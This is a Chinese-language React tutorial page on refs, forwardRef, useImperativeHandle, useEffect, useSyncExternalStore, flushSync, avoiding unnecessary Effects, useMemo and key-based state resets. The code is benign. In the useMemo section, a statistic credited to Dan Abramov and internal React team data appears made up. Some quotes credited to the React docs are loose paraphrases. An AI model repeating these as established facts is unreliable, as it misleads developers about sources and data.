    (id: number) => (node: HTMLLIElement | null) => {
      if (node) {
        // mount / attach
        itemRefMap.current.set(id, node);
      } else {
        // unmount / detach（commit 阶段触发）
        itemRefMap.current.delete(id);
      }
    },
    []
  );

  // 示例：使用保存的 DOM
  const scrollTo = (id: number) => {
    const el = itemRefMap.current.get(id);
    el?.scrollIntoView({ behavior: "smooth", block: "nearest" });
  };

  return (
    <>
      <ul>
        {cats.map((cat) => (
          <li key={cat.id} ref={setItemRef(cat.id)}>
            {cat.name}
          </li>
        ))}
      </ul>

      <button onClick={() => scrollTo(2)}>
        滚动到 Fluffy
      </button>
    </>
  );
}
```

:::

**回调 ref 可以返回一个清理函数**，在节点卸载或 ref 变化时执行清理。

| 对比点           | useRef                    | useState      |
| ---------------- | ------------------------- | ------------- |
| 更新是否触发渲染 | ❌ 不触发                  | ✅ 触发        |
| 值是否跨渲染保留 | ✅                         | ✅             |
| 适合存什么       | 可变、非 UI 驱动的值；DOM | UI 状态       |
| 更新方式         | `ref.current = x`         | `setState(x)` |

**闭包陷阱**

问题：事件/定时器里读到旧 state

```jsx
function Demo() {
  const [count, setCount] = useState(0);

  useEffect(() => {
    const id = setInterval(() => {
      console.log(count); // 可能一直是旧值
    }, 1000);
    return () => clearInterval(id);
  }, []); // count 没进依赖
}
```

解决：用 ref 保存最新值

```jsx
const countRef = useRef(count);
useEffect(() => { countRef.current = count; }, [count]);

useEffect(() => {
  const id = setInterval(() => {
    console.log(countRef.current);
  }, 1000);
  return () => clearInterval(id);
}, []);
```

**常见坑**

**别在渲染阶段读写 ref 来驱动 UI**，因为写 ref 不会触发渲染，UI 不会更新；读 ref 也可能造成逻辑不透明。UI 变化还是用 `state`。

**不要把 `ref.current` 放进依赖数组指望它触发 effect**， `ref.current` 变了不会触发重新渲染，所以依赖数组也不会“感知”。如果你需要“变化驱动 effect”，用 `state` 或者在写 `ref` 的地方顺便触发一些逻辑。

**回调 ref 记得稳定引用**（否则可能频繁置 null 再置 node），用 `useCallback` 包起来，特别是你在 ref 回调里做了昂贵操作时。

**StrictMode 下回调/Effect 可能执行两次（开发环境）**，写 ref 相关副作用要幂等、可重复执行且能清理。

::: details **关于 `ref` 回调的清理逻辑**

**当元素被移除时：**

1. React 在 render 阶段算出「这个 JSX 对应的 Fiber 不再需要」
2. 进入 commit 阶段，先更新真实 DOM（把该节点移除）
3. 然后**立刻调用该元素的 callback ref，并传入 `null`**
4. 你的 `ref={(node) => { ... }}` 收到 `node === null`，执行清理逻辑

不是你“去判断 DOM 是否存在”，而是 React 主动告诉你：它已经不存在了。

**整个过程**

render 阶段（纯计算，无副作用）

```jsx
旧 JSX: <li key=1 />
新 JSX: （没有 key=1）
```

React 得出结论：

这个 Fiber 对应的 DOM 节点需要被删除

**这里不会调用 ref**

commit 阶段 · DOM 变更

React 执行：

```jsx
parent.removeChild(li)
```

现在这个 `<li>`：

* 已经不在 DOM 树中
* `real DOM` 状态已更新

commit 阶段 · ref 清理

React 执行 callback ref：

```jsx
ref(null);
```

于是你的代码被调用：

```jsx
(node) => {
  if (node) {
    mapRef.current.set(cat, node);
  } else {
    mapRef.current.delete(cat); // ← 就在这里
  }
}
```

这一步发生在：

* DOM 已经移除之后
* effect cleanup 之前或同一轮 commit 中

**细节**

* `node === null`  ≠ “组件重新 render 时顺便判断”
* `node === null`  = **React 在 commit 阶段明确通知你：这个节点已经不存在**

**总结**：callback ref 的清理不是 render 触发的，而是 commit 阶段由 React 主动触发的；

当元素被移除时，React 会调用 ref(null)，此时应当释放与该 DOM 相关的引用或副作用。

:::

::: details **两种清理写法：`if (node === null)` vs `return cleanup`**

在 callback ref 中，**有两种等价的清理表达方式**。

写法一：`if (node === null)`（经典 / 主协议）

```jsx
ref={(node) => {
  if (node) {
    mapRef.current.set(cat.id, node);
  } else {
    mapRef.current.delete(cat.id);
  }
}}
```

**语义：**

* `node` 非空 → DOM 已挂载
* `node === null` → DOM 已移除，执行清理

**特点：**

* callback ref 的原始协议（长期稳定）
* 语义清晰、直观
* 适合组件库 / 团队代码 / 需要长期维护的工程

写法二：`return cleanup`（React 19 新能力）

```jsx
ref={(node) => {
  if (node) {
    mapRef.current.set(cat.id, node);
  }
  return () => {
    mapRef.current.delete(cat.id);
  };
}}
```

**语义：**

* DOM 挂载时，React 记录返回的 cleanup
* DOM 移除 / ref 变化时，React 在 commit 阶段调用 cleanup

**特点：**

* 触发时机与 `node === null` 本质相同（commit 阶段）
* 语义更接近 `useEffect` 的 setup / cleanup 模型
* 属于较新的能力，依赖 React 19 及相关运行时支持

:::

## forwardRef

**`forwardRef`**：让 **函数组件** 能“接住”父组件传下来的 `ref`

> \[!WARNING]
>
> 在 React 19（以及 18 的新 JSX transform + 编译器支持）里：`ref` 已经可以像普通 prop 一样直接传给函数组件，不再强制需要 `forwardRef`。

```jsx
import { useRef } from 'react';

function MyInput({ ref }) {
  return <input ref={ref} />;
}

export default function MyForm() {
  const inputRef = useRef(null);

  function handleClick() {
    // 使用父组件的 ref 访问子组件 DOM
    inputRef.current.focus();
  }

  return (
    <>
      <MyInput ref={inputRef} />
      <button onClick={handleClick}>聚焦输入框</button>
    </>
  );
}
```

## useImperativeHandle

`useImperativeHandle` 用来**自定义父组件通过 ref 能访问到的内容**。

不用它：父组件拿到的通常是 **真实 DOM 节点**（或 class 实例）

用了它：父组件拿到的是你定义的 **“命令句柄（handle）对象”**，从而：

* 隐藏内部 DOM 细节
* 只暴露必要的命令（focus / clear / validate…）
* 让组件 API 更稳定、更安全

直觉类比：你在给组件做一个“对外接口”，ref 只是传输通道。

API 签名与参数

```jsx
useImperativeHandle(ref, createHandle, deps?)
```

**ref**

* 来自父组件传入的 `ref`
* 在 React 19+ 可以直接从 props 里拿：`function C({ ref }) {}`
* 在需要兼容旧版本时通常来自 `forwardRef((props, ref) => ...)`

**ref 可以是对象 ref**（最常见）
（回调 ref 也存在，但日常更建议对象 ref + useRef）

**createHandle**

一个函数，返回你希望暴露给父组件的对象：

```jsx
() => ({
  focus() {},
  clear() {},
  getValue() {},
})
```

这个返回值会成为：`ref.current`

**deps**

控制“什么时候重新生成 `ref.current`”

不写 deps：会更频繁重建句柄（并发/严格模式下更容易踩坑）

常见写法：

* 句柄不依赖 `props/state`：`[]`
* 句柄依赖某些值：`[a, b]`

**`useImperativeHandle` 不写 `deps` ≠ 写 `[]`**

* **不写 `deps`**：**每一次 render 都会重新创建 handle，并更新 ref**
* **写 `[]`**：**只在首次挂载时创建一次 handle**

**useImperativeHandle 不会帮你拿 DOM**

DOM 通常仍由你内部用 `useRef` 自己拿到，然后在 handle 方法里间接操作。

```jsx
function MyInput({ ref }) {
  const realInputRef = useRef(null);

  useImperativeHandle(ref, () => ({
    focus: () => realInputRef.current?.focus(),
  }), []);

  return <input ref={realInputRef} />;
}
```

父组件拿到的是：

```jsx
ref.current = { focus: f }
```

而不是 `<input>`。

**示例**

只暴露命令（focus/clear），隐藏 DOM

```jsx
import { useRef, useImperativeHandle } from "react";

function MyInput({ ref }) {
  const realInputRef = useRef(null);

  useImperativeHandle(
    ref,
    () => ({
      focus() {
        realInputRef.current?.focus();
      },
      clear() {
        if (realInputRef.current) realInputRef.current.value = "";
      },
    }),
    []
  );

  return <input ref={realInputRef} />;
}
```

父组件：

```jsx
inputRef.current.focus();
inputRef.current.clear();
```

暴露“只读信息”（getValue / isValid）

```jsx
useImperativeHandle(ref, () => ({
  getValue() {
    return realInputRef.current?.value ?? "";
  },
}), []);
```

## useEffect

`useEffect` 是 React 中的一个 Hook，允许你在函数组件中执行副作用操作。它主要用于处理在组件渲染后需要执行的操作，如数据获取、订阅、手动 DOM 操作等。

```jsx
useEffect(() => {
  // 你的副作用逻辑
  return () => {
    // 可选的清理函数
  };
}, [dependencies]);
```

* 第一个参数是一个函数，它包含你想要执行的副作用逻辑。
* 第二个参数是一个依赖数组（可选），用来控制副作用的执行时机。

第一个参数：副作用函数

**副作用函数**：在每次渲染后都会执行，如果依赖项变化或者组件重新渲染都会执行。

```jsx
useEffect(() => {
  console.log('组件渲染后执行');
});
```

**返回清理函数**：如果副作用需要清理（例如订阅、定时器等），可以返回一个清理函数，它会在组件卸载或依赖项变化时执行。

```jsx
useEffect(() => {
  const timer = setTimeout(() => {
    console.log('一秒钟过去了');
  }, 1000);
  
  // 清理定时器
  return () => clearTimeout(timer);
}, []);
```

第二个参数：依赖项数组

**空数组 `[]`**：副作用只在组件首次渲染时执行一次（相当于 `componentDidMount`）。

```jsx
useEffect(() => {
  console.log('组件首次渲染时执行');
}, []);
```

**依赖项数组**：副作用函数将在依赖项数组中的值发生变化时执行（类似于 `componentDidUpdate`）。

```jsx
useEffect(() => {
  console.log('name 或 age 变化时执行');
}, [name, age]);
```

**没有第二个参数**：副作用函数将在每次渲染时执行（类似于 `componentDidUpdate`）。

```jsx
useEffect(() => {
  console.log('组件每次渲染后执行');
});
```

**执行时机**

* `useEffect` 会在 **DOM 更新后** 执行，确保组件已经渲染并且可用。这意味着副作用逻辑不会阻塞 UI 渲染。
* 它的执行顺序是在所有浏览器渲染更新之后。

**清理函数**：返回的清理函数会在每次副作用运行前或组件卸载时调用，用来清除副作用。例如，取消订阅或清除定时器。

## useSyncExternalStore

`useSyncExternalStore` 是 React 18 引入的一个 Hook，用于订阅外部存储（比如一个全局状态管理库或外部数据源），并使组件在存储发生变化时同步更新。它的主要目的是替代一些旧的方式，如 `useEffect` 配合订阅逻辑，用于处理外部数据源的同步更新。这个 Hook 使得 React 在并发模式下也能更好地与外部状态同步。

```jsx
useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot?)
```

**`subscribe`**：一个函数，负责订阅外部状态变化并返回一个取消订阅的函数。每当外部存储发生变化时，这个函数会重新渲染组件。它的签名是：

```jsx
subscribe(callback: () => void): () => void
```

`callback`: 当外部存储变化时需要调用的回调函数，用来触发组件重新渲染。

返回一个取消订阅的函数，通常用来清理副作用。

**`getSnapshot`**：一个函数，返回当前存储的快照（当前值）。每次渲染时，React 会调用此函数来获取当前的外部数据。它的签名是：

```jsx
getSnapshot(): T
```

返回当前的外部存储的值（`T` 代表值的类型）。

**`getServerSnapshot` (可选)**：用于服务器渲染时提供的函数。在服务端渲染（SSR）时，它允许 React 提前获取外部存储的快照，避免了首次加载时的延迟。它的签名是：

```jsx
getServerSnapshot(): T
```

该参数是可选的，通常在 SSR 环境中使用。

**示例**：假设我们有一个简单的全局存储，它存储一个计数器值，并且有一个订阅功能。我们可以使用 `useSyncExternalStore` 来订阅这个外部存储并在组件中使用它。

```jsx
import { useSyncExternalStore } from 'react';

// 假设我们有一个全局存储对象
const store = {
  value: 0,
  listeners: [],
  subscribe(callback) {
    this.listeners.push(callback);
    return () => {
      this.listeners = this.listeners.filter(listener => listener !== callback);
    };
  },
  setValue(newValue) {
    this.value = newValue;
    this.listeners.forEach(listener => listener());
  },
  getSnapshot() {
    return this.value;
  }
};

function Counter() {
  const count = useSyncExternalStore(
    store.subscribe.bind(store),
    store.getSnapshot.bind(store)
  );

  return <div>Count: {count}</div>;
}
```

* `subscribe` 订阅了外部存储的变化。
* `getSnapshot` 获取当前存储中的计数器值。

**与 `useEffect` 的关系**

`useSyncExternalStore` 和 `useEffect` 都可以用来处理副作用和异步操作，尤其在外部存储（如状态管理库、Web API 等）的场景中有类似的应用。区别在于：

* `useSyncExternalStore` 主要用于处理同步数据源的订阅和更新，且能保证 React 的渲染行为在并发模式下是安全的。
* `useEffect` 用于副作用处理，比如异步请求、DOM 操作等。

::: info

**外部状态必须支持被订阅**

为了让 `useSyncExternalStore` 工作，外部状态必须能以某种方式**通知订阅者**（即触发回调）。如果状态没有这种机制（没有 `subscribe` 和 `getSnapshot`），`useSyncExternalStore` 就无法正常工作，也无法保证 React 组件在状态更新时重新渲染。

**`subscribe`**：负责注册外部状态变化时的回调（即组件的重新渲染通知）。当外部状态改变时，React 会重新渲染组件。

**`getSnapshot`**：负责在每次渲染时获取当前的状态快照。React 通过它来获取最新的外部状态值，从而更新 UI。

当外部状态通过 `subscribe` 通知有变化时，React 会触发重新渲染。

然后，React 会调用第二个参数 `getSnapshot`，获取最新的外部状态值，并将其传递给组件。最终，组件 UI 会根据这个最新的状态值重新渲染。

:::

## flushSync

`flushSync` 用来强制 React 立即同步地处理一次更新（跳过批处理），并立刻把 DOM 更新完成。

常见用途：**你“现在就要拿到最新 DOM / layout / scroll / 测量结果”，而不是等到 React 自己批量更新。**

```jsx
import { flushSync } from 'react-dom';

flushSync(fn: () => void): void
```

**`fn`**：一个同步函数

* 在这个函数里触发的 **所有 state 更新**
* 都会被 **立刻执行、立刻 commit、立刻更新 DOM**

无返回值（`void`）

**示例**

```jsx
flushSync(() => {
  setCount(c => c + 1);
});

// 这里 DOM 已经是最新的
divRef.current.scrollTop = divRef.current.scrollHeight;
```

**flushSync 之后：**

* state 是新的
* DOM 是新的
* layout 是新的
* 可以安全读 DOM

**为什么需要 flushSync？**

默认行为

```jsx
setState();
setState();
// 不一定立刻更新 DOM（自动批处理）
```

React 会：

* 合并更新
* 延迟 commit
* 统一渲染（更快，但不“立即”）

**flushSync 的作用**

```jsx
flushSync(() => {
  setState();
});
// 这里 DOM 一定已经更新
```

它就是一个**打断批处理、立刻提交”的紧急按钮**

---

---
url: /react/e24u182i/index.md
---
# React 脱围机制 [2]
## 移除不必要的 Effect{#remove-unnecessary-effects}

Effect 的唯一正当用途：

让 React 组件与外部系统同步（external system）

外部系统例子：浏览器 DOM、非 React 库（如 jQuery、Chart.js）、WebSocket、网络请求、第三方组件等。

如果你只是在 根据 props 或 state 计算新数据，或者 响应用户事件，绝不要使用 Effect

使用 Effect 会导致多余的重渲染、代码复杂、容易出错。

两种最常见的「不必要 Effect」模式（必须移除！）

| 场景                                    | 错误做法（用 Effect）                      | 正确做法（直接在渲染中计算 / 事件处理函数中处理） |
| --------------------------------------- | ------------------------------------------ | ------------------------------------------------- |
| 根据 props/state 更新 state（派生状态） | 在 Effect 中 `setXxx(基于其他 state 计算)` | 直接在组件顶层计算变量（不设为 state）            |
| 响应用户事件（如发送请求、弹 toast）    | 在 Effect 中监听 state 变化来发请求        | 直接在 onClick / onSubmit 等事件处理函数中执行    |

**经典错误示例 → 正确重构**

```jsx
// 错误：多余的 state + 不必要的 Effect（会导致两次渲染！）
function Form() {
  const [firstName, setFirstName] = useState('Taylor');
  const [lastName, setLastName] = useState('Swift');
  
  const [fullName, setFullName] = useState('');  // 多余的 state
  
  useEffect(() => {
    setFullName(firstName + ' ' + lastName);     // 引发额外渲染
  }, [firstName, lastName]);

  return <>{fullName}</>;
}
```

```jsx
// 推荐：直接计算，零成本、零 bug
function Form() {
  const [firstName, setFirstName] = useState('Taylor');
  const [lastName, setLastName] = useState('Swift');
  
  const fullName = firstName + ' ' + lastName;  // 渲染时自动计算

  return <>{fullName}</>;
}
```

同理适用于：

* 过滤列表：const filteredList = list.filter(...);
* 计算总数、百分比、格式化日期等 → 全都在渲染中直接算

**事件也要放在事件处理函数里**

```jsx
// 错误：用 Effect 响应「购买」状态
const [purchased, setPurchased] = useState(false);
useEffect(() => {
  if (purchased) {
    fetch('/api/buy', { method: 'POST' });
    showToast('购买成功！');
    setPurchased(false);
  }
}, [purchased]);

// 正确：直接在点击时处理
function handleBuy() {
  fetch('/api/buy', { method: 'POST' });
  showToast('购买成功！');
}
return <button onClick={handleBuy}>购买</button>;
```

**什么时候真的需要 Effect**？

只有在和「外部系统」同步时才用：

```jsx
// 正确用法示例
useEffect(() => {
  // 与浏览器 DOM 同步
  document.title = `你有 ${unreadCount} 条新消息`;
}, [unreadCount]);

useEffect(() => {
  // 与非 React 库同步
  $('#mySlider')[0].value = reactValue;
}, [reactValue]);

useEffect(() => {
  // 传统的「组件挂载后请求数据」（现代推荐用框架内置数据获取）
  fetchSearchResults(query).then(setResults);
}, [query]);
```

**总结**

* **能算出来的，就别存 state**
* **用户点了按钮才做的事，就写在 onClick 里**
* **只有要跟「React 管不到的东西」同步，才用 Effect**

***

React 设计哲学：

**数据改变 → 组件函数重新执行 → 所有局部变量自动重新计算**

这才是真正的「**单向数据流 + 声明式渲染**」的正确打开方式。

很多人写出下面这种代码，其实就是在用「命令式 + 双向绑定」的 jQuery 思维写 React：

```jsx
// 典型的「jQuery 思维」残留
const [firstName, setFirstName] = useState('Taylor');
const [lastName, setLastName] = useState('Swift');
const [fullName, setFullName] = useState(''); // ← 以为必须有个“字段”存着

useEffect(() => {
  setFullName(firstName + ' ' + lastName);     // ← 以为必须手动“同步”
}, [firstName, lastName]);
```

这段代码暴露出的思维误区有三个层次：

| 误区层级 | 具体表现                                     | 正确认知                                            |
| -------- | -------------------------------------------- | --------------------------------------------------- |
| Level 1  | 认为 fullName 必须是一个 state 才能显示      | 任何可以从现有 state/props 算出的值都不该是 state   |
| Level 2  | 认为「数据变了之后要手动去更新另一个 state」 | React 的组件函数本身就是「纯函数式的计算过程」      |
| Level 3  | 用 Effect 来“保持两个 state 同步”            | **组件函数会整个重新运行！** 局部变量天然就是最新的 |

总结：**数据更新后，组件自动重新执行，在组件执行的时候内部的就会重新计算，完全不需要 effect 中写，因为组件本身就可以在数据发生变化的时候重新执行**

这也是官方最想让你拥抱的心智模型（Thinking in React 的终极形态）。

> “If you're using useEffect to keep two state variables synchronized, you're probably doing it wrong.”
>
> “If a value is derived from existing state or props — just calculate it during rendering. No Effect needed. Ever.”
>
> —— 来自 React 官方文档《You Might Not Need an Effect》

```json
props / state 改变
        ↓
React 重新调用你的组件函数（整个函数体重新执行）
        ↓
所有 let/const 变量全部重新计算（天然就是最新值）
        ↓
返回新的 JSX → React 对比 → 更新真实 DOM
```

::: info

**「幻觉中的全量 DOM 摧毁与重建」恐惧症**

state 变了 → 组件函数重新执行 → return 了一个全新的 `<div><span>XXX</span></div>`
→ React 傻乎乎地把原来的整个 DOM 节点删光 → 再从头插入一模一样的结构
→ 浏览器疯狂重排重绘 → 卡！卡！卡！

就下意识心虚：「天啊，每次 firstName 改一个字母，整个 h1 都要重建？太浪费了吧！」

**真相是：React 根本就没有你想象的那种「删光重插」操作！**

真实发生的事情是这样的（极简版）：

1. 你 return 了一个新的 React element（就是 JS 对象，不是真实 DOM） → 它超级轻量，创建成本几乎为 0
2. React 拿新旧两棵 React element 树做 diff（Fiber 算法）
3. 发现只有文本节点从 “Taylor Swift” 变成了 “Taylor Swift!”（加了个感叹号）
4. React 直接调用浏览器原生 API： textNode.nodeValue = "Taylor Swift!" → **只改了一个文本节点的内容，连重排重绘都几乎没有！**

**总结**

“**你只管老老实实、大大方方地 return 你想要的 JSX 就行了。 到底是复用旧节点、改文本、加属性、删节点、插节点……这些我 React 比你门儿清。 我保证把真实 DOM 的操作压到理论最低，你不用替我省那点性能**。”

:::

***

::: important

**DOM 突变**（DOM mutation）就是：真正动浏览器真实 DOM 的那些操作。

一句话总结：**只要浏览器真的要新增、删除、移动、改属性一个真实 DOM 节点，就是一次 DOM 突变。**

常见 DOM 突变例子（这些才真正耗性能）：

| 操作          | 例子代码                                      | 耗性能程度 |
| ------------- | --------------------------------------------- | ---------- |
| 插入节点      | document.body.appendChild(div)                | 高         |
| 删除节点      | node.parentNode.removeChild(node)             | 高         |
| 移动节点      | parentA.appendChild(nodeFromParentB)          | 高         |
| 修改属性/样式 | el.className = 'xxx' / el.style.color = 'red' | 中         |
| 修改文本内容  | textNode.nodeValue = '新文字'                 | 低         |

**关键点**：

* 你 return 100 次 JSX → 0 次 DOM 突变（只是 JS 对象）
* React 最终可能只用 1 次 node.textContent = '新名字' 就搞定 → 只有 1 次轻量级 DOM 突变

所以 React 的口号就是：

“**You can re-render as much as you want. Re-rendering is cheap. What’s expensive is mutating the actual DOM.**”

**「你随便 return JSX 多少次都没事， 真正贵的是 DOM 突变，我会拼命把它压到最少。」**

记住：**DOM 突变 = 真·动浏览器 DOM = 真·贵**，其他都是小儿科。

:::

## 缓存昂贵的计算{#caching-expensive-calculations}

从「使用场景」和「结果」上看，useMemo 几乎就相当于 Vue 中的 computed（计算属性），但底层机制和「**你该不该用**」的心智模型差别很大。

| 对比项   | Vue computed                                               | React useMemo                                                | 实际建议     |
| -------- | ---------------------------------------------------------- | ------------------------------------------------------------ | ------------ |
| 写法     | `fullName: computed(() => first.value + ' ' + last.value)` | `const fullName = useMemo(() => firstName + ' ' + lastName, [firstName, lastName])` | 两者几乎一样 |
| 是否缓存 | 依赖不变时直接返回上一次结果，完全不重新计算               | 依赖不变时直接返回上一次结果，完全不重新计算                 | 完全一样     |
| 依赖检测 | 自动追踪（魔法）                                           | 必须手动写依赖数组                                           | React 更麻烦 |
| 典型用途 | 派生数据、过滤列表、格式化等                               | 派生数据、过滤列表、格式化等                                 | 用途一样     |

「useMemo 就相当于 Vue 的计算属性」在 99% 的业务场景下，这样理解完全没问题，

但是！React 官方的一句话是：

> **“useMemo 是一个性能优化钩子，不是语义保证。 请先写出正确的代码，再在出现性能问题时才加 useMemo。”**

翻译成大白话就是：

**在 React 里，绝大多数时候你根本不需要 useMemo！** 直接在渲染里算就行，React 足够快 + diff 足够聪明。

```jsx
// 写法 A：顶层直接算（官方最推荐）
const fullName = firstName + ' ' + lastName;

// 写法 B：useMemo（我倾向的写法）
const fullName = useMemo(
  () => firstName + ' ' + lastName,
  [firstName, lastName]
);
```

写法 B **确实**做到：

* 依赖没变 → **完全不执行加法和字符串拼接**，直接返回缓存的字符串
* 依赖变了 → 才重新算一次

所以在「**避免无意义的重复计算**」这个维度上，写法 B 确实更省 CPU，尤其是当计算真的有点重的时候（比如过滤 5000 条数据、JSON.parse 大字符串、复杂正则等）。

**所以现在的做法完全可行，而且在很多公司的大项目里就是这么干的**，没人会因为你这么写扣你绩效。

但 React 官方为什么还是「**别用 useMemo 做派生数据**」？ 原因其实不是技术问题，而是 **心智模型 + 维护成本 + 99% 场景的收益为零** 这三把刀：

| 维度                | 顶层直接算（官方推）                  | 加 useMemo（你现在的习惯）                      | 真实差距             |
| ------------------- | ------------------------------------- | ----------------------------------------------- | -------------------- |
| 正确性              | 天然正确，永远不可能 stale            | 必须写全依赖数组，一漏就 stale、一多就白写      | useMemo 更容易出 bug |
| 代码简洁度          | 最少代码                              | 多写 5～10 行 + 依赖数组                        | 直接算完胜           |
| 维护成本            | 谁来看都秒懂                          | 后端同学/新人：这玩意儿为啥包一层？依赖漏了没？ | 直接算完胜           |
| 性能收益（99%场景） | 字符串拼接、简单 filter、格式化日期等 | 几微秒 vs 零微秒，肉眼 + 性能面板完全看不出来   | 几乎为 0             |
| 性能收益（1%场景）  | 慢                                    | 真的快                                          | useMemo 胜           |

**真实世界的数据（来自 Dan Abramov 和 React 团队内部统计）**：

* 99.9% 的 useMemo 在生产环境里省下来的 CPU 时间 < 0.1ms
* 但因为依赖数组写错导致的 bug 占所有 React 状态 bug 的前 5 名

所以请直接在渲染里算，除非你用性能工具（Profiler）真的看到这里是瓶颈了，再补 useMemo。

**总结**：“**我用 useMemo 做派生数据，但仅限于计算真的很重、或者我已经用 React Profiler 确认这里是瓶颈的时候**。”

> “**随便写都行，但只要用了 useMemo，就请像个成年人一样负责，写全依赖、加好注释，别给同事挖坑**。”

## 当 props 变化时自动重置全部{#automatically-reset-all-when-props-change}

**场景**：

```jsx
<ProfilePage userId="user-123" />  →  切换到  →  <ProfilePage userId="user-456" />
```

**期望**：切换用户后，评论框、tab 状态、输入框、列表展开状态……全部自动清空。

**错误做法**

```tsx
useEffect(() => {
  setComment('');
  setActiveTab('posts');
  setDraft('');
  // ……还有 10 个 state 都要手动写
}, [userId]);
```

**缺点**：

* 闪一下旧内容（先渲染旧 state → 再渲染新）
* 子组件里的 state 也得一个个写 effect
* 容易漏掉，维护地狱

**最佳实践**：用 key 强制「重新挂载」

```tsx
// 路由层只管传 userId，不用关心 key
export default function ProfilePage({ userId }: { userId: string }) {
  return <ProfileContent userId={userId} key={userId} />;
}

// 真正渲染内容的组件（内部可以随便用多少 state）
function ProfileContent({ userId }: { userId: string }) {
  const [comment, setComment] = useState('');
  const [tab, setTab] = useState<'posts' | 'replies'>('posts');
  const [likesOpen, setLikesOpen] = useState(false);
  // ……这里有 100 个 state 也没事！

  return (/* 页面内容 */);
}
```

**原理**

* 相同位置 + 相同组件类型 + key 相同 → React 复用旧组件实例 → state 保留
* key 不同 → React 直接销毁旧组件，创建新组件 → 所有 state 自动重置为初始值
* 连带所有子组件一起重置，连一个 useEffect 都不用写

***

`key` 不是保留字，是一个普通的特殊 `prop`，`key` 和 `ref` 一样，是 React 特殊保留的 `prop`，普通代码里你可以随便传，组件里照样可以正常解构接收

可以传，也可以不传，不传 key 是最常见的，React 会默认把这棵子树当作「同一个组件」来复用

是否重置 `state` 的决定性条件之一就是 `key`：

React 的 reconciler 就是这么判断的：

1. 位置相同？

2. 类型（组件函数）相同？

3. key 相同？

三者都满足 → 复用旧实例（`state` 保留），只要 `key` 不同 → 一定销毁旧组件 + 创建新组件（`state` 重置）

不传 key 时，即使 props 完全不同，state 也不会销毁

经典例子：

`<ProfilePage userId="A" /> → <ProfilePage userId="B" />`

如果 ProfilePage 内部的 state 直接写在自己身上，state 永远不会清，就是因为 key 没变

key 必须稳定、可预测、唯一（最好用 ID，不要用 index）

```jsx
// 错误：用 index 可能导致不必要的重置或不重置
{list.map((item, index) => <Todo key={index} />)}

// 正确
{list.map(item => <Todo key={item.id} />)}
```

key 变了，连 DOM 都会尽量复用，但 state 一定重置

* React 会尝试把老 DOM 节点“挪”给新组件（性能优化）
* 但组件实例是全新创建的，所有 useState、useRef（ref 除外）都会回到初始值

| 步骤 | React 内部实际行为                                           | 对开发者可见的结果                                           |
| ---- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| 1    | 发现 key 不同（比如从 key="A" → key="B"）                    | 立刻判定：这是两个完全不同的组件实例                         |
| 2    | 立刻 unmount 旧的组件实例（旧 ProfileContent）               | 触发 useEffect cleanup、componentWillUnmount 等              |
| 3    | 所有 useState、useReducer、useMemo、useCallback 等全部重置为初始值 | state 清空，就是你想要的效果                                 |
| 4    | 开始 mount 全新组件实例                                      | 重新执行组件函数体，重新执行所有 useState('') 等             |
| 5    | **生成新的虚拟 DOM 树**                                      | 这时 React 会对比新旧两棵虚拟 DOM（diff）                    |
| 6    | **发现很多 DOM 节点其实 type + className + 结构都一样**      | 例如： 结构没变                                              |
| 7    | **就把旧的真实 DOM 节点直接复用（reuse）过来**               | 不销毁也不重新创建 DOM 节点，只更新必要的属性（比如 value=""） |
| 8    | 只有真正有变化的属性/文本才触发真实 DOM 操作                 | 所以你看到输入框瞬间清空，但没有闪白或重新聚焦（性能极好）   |

**总结**：key 变了 → 组件实例一定全新（state 100% 重置） 但真实 DOM 节点只要结构兼容，React 还是会尽量复用（只更新必要的属性）

```jsx
import { useRef } from 'react';

function MyInput() {
  // 这行代码的意思是：创建一个 ref，初始值是 null
  const inputRef = useRef<HTMLInputElement>(null);

  // 真正的绑定写在原生标签上
  return <input ref={inputRef} />;
}
```

* useRef`<HTMLInputElement>(null)` 意思是：我准备让这个 `ref` 稍后指向一个 HTML `input` 元素，当前还不知道指向谁，先写 `null`
* `ref={inputRef}` 才是真正把 `ref`“挂”到这个 `input` 标签上的地方

写完这两行后，渲染完第1次，`inputRef.current` 就会变成真实的 DOM 节点（比如  这个对象），以后你就可以用 `inputRef.current.focus()` 来操作它。

**总结**：“当 key 改变导致组件重建时，所有普通 state 一定重置，唯有 ref（指向 DOM 时）是唯一被复用的东西，因为 React 把真实的 DOM 节点留下来重复用了，顺手把新组件的 ref 重新指向它。”

## 当 prop 变化时调整部分 state{#adjust-part-of-the-state-when-the-prop-changes }

当某个 prop（例如列表 items）变化时，你只想重置部分 state（例如 selection），而不是整个组件状态。

React 官方推荐的方式不是唯一，但需要知道**什么方式更高效、更易维护、更符合 React 的数据流理念**。

**方式一：在 Effect 中根据 props 更新 state**（避免）

```jsx
useEffect(() => {
  setSelection(null);
}, [items]);
```

这种写法的问题：

1. **旧 selection 值会闪一下** —— 组件和其子组件先用旧 state 渲染一次。
2. DOM 更新后才执行 Effect，再触发二次渲染。
3. 导致 **不必要的二次渲染** 和额外的子组件重渲染。
4. 破坏了组件的“纯渲染”理念（渲染 → DOM → Effect → setState → 再渲染）。

**方式二：在渲染期间检测 prop 改变并立即更新 state**（可用但不推荐滥用）

```jsx
function List({ items }) {
  const [isReverse, setIsReverse] = useState(false);
  const [selection, setSelection] = useState(null);

  const [prevItems, setPrevItems] = useState(items);
  if (items !== prevItems) {
    setPrevItems(items);
    setSelection(null);
  }
}
```

优点

* **更高效**：React 在渲染中检测到更新，会立即重新渲染当前组件，不会让子组件渲染“旧 state”。
* 避免了 Effect 的副作用延迟。

限制与风险

* 只能更新 **自身组件的 state** —— 否则会出现渲染期间更新别的组件的警告。
* 容易让数据流复杂、调试困难。
* 必须加条件判断，否则会无限循环。

适合：少量场景、有明确原因、性能关键节点。

> \[!IMPORTANT]
>
> **在渲染期间（组件执行 JSX 计算期间）调用 setState，React 会 *立即* 放弃当前这次渲染并重新开始一次新的渲染**。
>
> 也就是说：**不是等当前渲染执行完 JSX 再开始下一次渲染，而是中断当前渲染，重新执行当前组件。**
>
> 但 React 的“立即”是不触发 DOM 更新、也不运行 Effects，只是丢弃渲染树并重新走一遍计算逻辑。
>
> * 步骤 1：React 开始一次渲染，调用 List() 开始构建 Fiber。
>
> * 步骤 2：执行到 setSelection(null)
>
> * React 内部检查：你在 **渲染阶段（render phase）** 调用了 setState。
>
>   这是一个特殊的情况，React 的策略如下：
>
>   **允许更新当前组件的 state（同一 fiber），并立即重新调度当前组件的渲染。**
>
>   即：
>
>   * 这次渲染被取消
>   * 新的渲染立即开始
>   * React 会使用 setSelection(null) 后的最新 state
>
